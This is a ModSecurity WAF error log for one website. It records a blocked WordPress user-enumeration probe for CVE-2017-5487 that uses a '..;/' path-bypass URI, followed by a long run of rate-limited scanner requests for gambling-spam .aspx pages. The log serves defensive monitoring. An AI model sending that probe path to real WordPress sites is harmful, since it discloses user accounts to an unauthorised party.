[Thu Apr 09 21:38:23.102266 2026] [:error] [pid 18477:tid 18479] [client 62.60.131.175:50804] [client 62.60.131.175] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/..;/"] [unique_id "aderz8De826HlFeoLPKiQwAAAUA"]
[Thu Apr 09 23:08:43.750820 2026] [:error] [pid 24624:tid 24628] [client 54.38.38.130:47438] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adfA--4Jn-WvK1ZBTvj5ZwAAAMI"]
[Thu Apr 09 23:08:46.044449 2026] [:error] [pid 63331:tid 63353] [client 54.38.38.130:49154] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adfA_ibKfIYuVjWbE4WhqQAAAdQ"]
[Thu Apr 09 23:08:48.556686 2026] [:error] [pid 24927:tid 24942] [client 54.38.38.130:49164] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adfBADXObuzEuw8mNJs53gAAAQw"]
[Thu Apr 09 23:08:51.042774 2026] [:error] [pid 24515:tid 24528] [client 54.38.38.130:49170] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adfBA61OMnvM2fMnB1P4xQAAAAk"]
[Thu Apr 09 23:08:53.297401 2026] [:error] [pid 20837:tid 20841] [client 54.38.38.130:49180] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adfBBfSL71FHZkjrGzMV1gAAAYI"]
[Thu Apr 09 23:08:55.649044 2026] [:error] [pid 63331:tid 63345] [client 54.38.38.130:49184] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adfBBybKfIYuVjWbE4WhsQAAAcw"]
[Thu Apr 09 23:08:58.117746 2026] [:error] [pid 24624:tid 24648] [client 54.38.38.130:36492] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adfBCu4Jn-WvK1ZBTvj5cgAAANY"]
[Thu Apr 09 23:09:00.636535 2026] [:error] [pid 24624:tid 24644] [client 54.38.38.130:36504] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adfBDO4Jn-WvK1ZBTvj5dgAAANI"]
[Thu Apr 09 23:09:03.105000 2026] [:error] [pid 24624:tid 24629] [client 54.38.38.130:36506] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adfBD-4Jn-WvK1ZBTvj5fAAAAMM"]
[Thu Apr 09 23:09:05.472147 2026] [:error] [pid 20837:tid 20853] [client 54.38.38.130:36514] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adfBEfSL71FHZkjrGzMV7AAAAY4"]
[Thu Apr 09 23:09:07.946168 2026] [:error] [pid 24624:tid 24643] [client 54.38.38.130:39928] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adfBE-4Jn-WvK1ZBTvj5gQAAANE"]
[Thu Apr 09 23:09:10.434648 2026] [:error] [pid 24624:tid 24646] [client 54.38.38.130:39932] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adfBFu4Jn-WvK1ZBTvj5hAAAANQ"]
[Thu Apr 09 23:09:12.748024 2026] [:error] [pid 24624:tid 24637] [client 54.38.38.130:39940] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adfBGO4Jn-WvK1ZBTvj5hQAAAMs"]
[Thu Apr 09 23:09:15.232165 2026] [:error] [pid 63331:tid 63350] [client 54.38.38.130:39946] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adfBGybKfIYuVjWbE4WhwgAAAdE"]
[Thu Apr 09 23:09:17.746723 2026] [:error] [pid 24517:tid 24581] [client 54.38.38.130:51334] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adfBHXboYEn2ZFM_PS-M3wAAAIc"]
[Thu Apr 09 23:09:20.076196 2026] [:error] [pid 63331:tid 63357] [client 54.38.38.130:51338] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adfBICbKfIYuVjWbE4WhzQAAAdg"]
[Thu Apr 09 23:09:22.563869 2026] [:error] [pid 24515:tid 24533] [client 54.38.38.130:51348] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adfBIq1OMnvM2fMnB1P43wAAAA4"]
[Thu Apr 09 23:09:25.009920 2026] [:error] [pid 24515:tid 24526] [client 54.38.38.130:51364] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adfBJa1OMnvM2fMnB1P44gAAAAc"]
[Thu Apr 09 23:09:27.357863 2026] [:error] [pid 20837:tid 20848] [client 54.38.38.130:39942] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adfBJ_SL71FHZkjrGzMWBgAAAYk"]
[Thu Apr 09 23:09:29.889155 2026] [:error] [pid 63331:tid 63355] [client 54.38.38.130:39952] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "adfBKSbKfIYuVjWbE4Wh1wAAAdY"]
[Thu Apr 09 23:09:32.375139 2026] [:error] [pid 63331:tid 63348] [client 54.38.38.130:39964] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adfBLCbKfIYuVjWbE4Wh5QAAAc8"]
[Thu Apr 09 23:09:34.680669 2026] [:error] [pid 24515:tid 24535] [client 54.38.38.130:39970] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adfBLq1OMnvM2fMnB1P45gAAABA"]
[Thu Apr 09 23:09:37.186717 2026] [:error] [pid 63331:tid 63356] [client 54.38.38.130:43546] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "adfBMSbKfIYuVjWbE4Wh6QAAAdc"]
[Thu Apr 09 23:09:39.481886 2026] [:error] [pid 24927:tid 24931] [client 54.38.38.130:43562] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adfBMzXObuzEuw8mNJs57gAAAQE"]
[Thu Apr 09 23:10:23.684270 2026] [:error] [pid 24624:tid 24629] [client 54.38.38.130:43570] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adfBX-4Jn-WvK1ZBTvj5mwAAAMM"]
[Thu Apr 09 23:10:26.128561 2026] [:error] [pid 24515:tid 24527] [client 54.38.38.130:34366] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adfBYq1OMnvM2fMnB1P5BwAAAAg"]
[Thu Apr 09 23:10:28.622336 2026] [:error] [pid 63331:tid 63353] [client 54.38.38.130:34368] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adfBZCbKfIYuVjWbE4WiSQAAAdQ"]
[Thu Apr 09 23:10:30.979188 2026] [:error] [pid 24624:tid 24630] [client 54.38.38.130:34378] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adfBZu4Jn-WvK1ZBTvj5oQAAAMQ"]
[Thu Apr 09 23:10:33.453979 2026] [:error] [pid 63331:tid 63348] [client 54.38.38.130:34380] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adfBaSbKfIYuVjWbE4WiTAAAAc8"]
[Thu Apr 09 23:10:35.910095 2026] [:error] [pid 24515:tid 24524] [client 54.38.38.130:54464] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adfBa61OMnvM2fMnB1P5EgAAAAU"]
[Thu Apr 09 23:10:38.274367 2026] [:error] [pid 24624:tid 24626] [client 54.38.38.130:54466] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adfBbu4Jn-WvK1ZBTvj5pwAAAMA"]
[Thu Apr 09 23:10:40.733705 2026] [:error] [pid 63331:tid 63347] [client 54.38.38.130:54468] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adfBcCbKfIYuVjWbE4WiYQAAAc4"]
[Thu Apr 09 23:10:43.070847 2026] [:error] [pid 63331:tid 63340] [client 54.38.38.130:54480] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adfBcybKfIYuVjWbE4WibQAAAcc"]
[Thu Apr 09 23:10:45.563578 2026] [:error] [pid 24624:tid 24633] [client 54.38.38.130:54488] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adfBde4Jn-WvK1ZBTvj5qwAAAMc"]
[Thu Apr 09 23:10:47.885082 2026] [:error] [pid 24515:tid 24531] [client 54.38.38.130:58876] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adfBd61OMnvM2fMnB1P5GgAAAAw"]
[Thu Apr 09 23:10:50.352542 2026] [:error] [pid 24927:tid 24948] [client 54.38.38.130:58886] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adfBejXObuzEuw8mNJs6EAAAARI"]
[Thu Apr 09 23:10:52.804038 2026] [:error] [pid 24927:tid 24950] [client 54.38.38.130:58892] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "adfBfDXObuzEuw8mNJs6EgAAARQ"]
[Thu Apr 09 23:10:55.281277 2026] [:error] [pid 63331:tid 63354] [client 54.38.38.130:58894] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adfBfybKfIYuVjWbE4WiiQAAAdU"]
[Thu Apr 09 23:10:57.919893 2026] [:error] [pid 24624:tid 24648] [client 54.38.38.130:48910] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adfBge4Jn-WvK1ZBTvj5tQAAANY"]
[Thu Apr 09 23:11:00.391357 2026] [:error] [pid 24927:tid 24954] [client 54.38.38.130:48926] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "adfBhDXObuzEuw8mNJs6FQAAARg"]
[Thu Apr 09 23:11:02.876006 2026] [:error] [pid 24516:tid 24558] [client 54.38.38.130:48930] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adfBhthW7vSS-UkeWCVBvgAAAEs"]
[Thu Apr 09 23:11:05.167489 2026] [:error] [pid 24515:tid 24521] [client 54.38.38.130:48946] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adfBia1OMnvM2fMnB1P5OQAAAAI"]
[Thu Apr 09 23:11:07.522207 2026] [:error] [pid 24517:tid 24586] [client 54.38.38.130:45276] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "adfBi3boYEn2ZFM_PS-M9wAAAIw"]
[Thu Apr 09 23:11:09.980314 2026] [:error] [pid 20837:tid 20861] [client 54.38.38.130:45278] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adfBjfSL71FHZkjrGzMWUwAAAZY"]
[Thu Apr 09 23:11:12.420331 2026] [:error] [pid 24517:tid 24590] [client 54.38.38.130:45290] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adfBkHboYEn2ZFM_PS-M-gAAAJA"]
[Thu Apr 09 23:11:14.934838 2026] [:error] [pid 24517:tid 24580] [client 54.38.38.130:45298] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adfBknboYEn2ZFM_PS-M_QAAAIY"]
[Thu Apr 09 23:11:17.467939 2026] [:error] [pid 20837:tid 20855] [client 54.38.38.130:44860] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adfBlfSL71FHZkjrGzMWVgAAAZA"]
[Thu Apr 09 23:11:19.884861 2026] [:error] [pid 24516:tid 24552] [client 54.38.38.130:44864] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adfBl9hW7vSS-UkeWCVBzQAAAEU"]
[Thu Apr 09 23:12:01.211581 2026] [:error] [pid 24515:tid 24543] [client 54.38.38.130:44868] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adfBwa1OMnvM2fMnB1P5ggAAABg"]
[Thu Apr 09 23:12:03.625385 2026] [:error] [pid 20837:tid 20858] [client 54.38.38.130:33764] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adfBw_SL71FHZkjrGzMWdwAAAZM"]
[Thu Apr 09 23:12:06.117241 2026] [:error] [pid 24517:tid 24586] [client 54.38.38.130:49444] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adfBxnboYEn2ZFM_PS-NGQAAAIw"]
[Thu Apr 09 23:12:08.573316 2026] [:error] [pid 18477:tid 18495] [client 54.38.38.130:49450] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adfByMDe826HlFeoLPKwXwAAAVA"]
[Thu Apr 09 23:12:11.035102 2026] [:error] [pid 24516:tid 24560] [client 54.38.38.130:49458] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adfBy9hW7vSS-UkeWCVB3gAAAE0"]
[Thu Apr 09 23:12:13.342980 2026] [:error] [pid 24927:tid 24950] [client 54.38.38.130:49464] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adfBzTXObuzEuw8mNJs6QAAAARQ"]
